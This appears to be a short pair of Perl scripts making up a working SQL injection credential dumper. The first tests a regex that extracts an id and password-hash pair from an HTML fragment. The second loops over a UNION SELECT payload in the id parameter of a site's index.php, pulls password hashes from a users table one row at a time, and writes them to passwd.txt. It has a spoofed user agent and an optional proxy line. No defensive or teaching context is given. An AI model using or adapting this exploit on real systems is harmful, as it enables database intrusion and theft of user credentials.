#!perl
use strict;
use warnings;
my $page = '<td valign="top" width="33%"><img src="1" width="40" height="32">&nbsp;<strong>2</strong><br>123:88f2ceb4ad7be1adfed2145c5dddd178</td>';
$page =~/<br>(\w+):(\w+)<\/td>/;
print "$1:$2 \n";

C:\>parse.pl
123:88f2ceb4ad7be1adfed2145c5dddd178

#!/usr/bin/perl
use strict;
#use warnings;
use LWP::UserAgent;

my $num = $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("Dendi 8bit");
#$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
open(FH,">passwd.txt") or die "$!";
for(1..$num) {
  my $req = HTTP::Request->new(GET => "http://site.ru/index.php?id=-1+union+select+1,concat('123:',password)+from+users+limit+$_,1/*");
  $req->header('Accept' => 'text/html');
  my $res = $ua->request($req);
  $res->content =~/<strong>2<\/strong><br>123(.+?)<\/td>/;
  print FH $1,"\n";
}
close FH;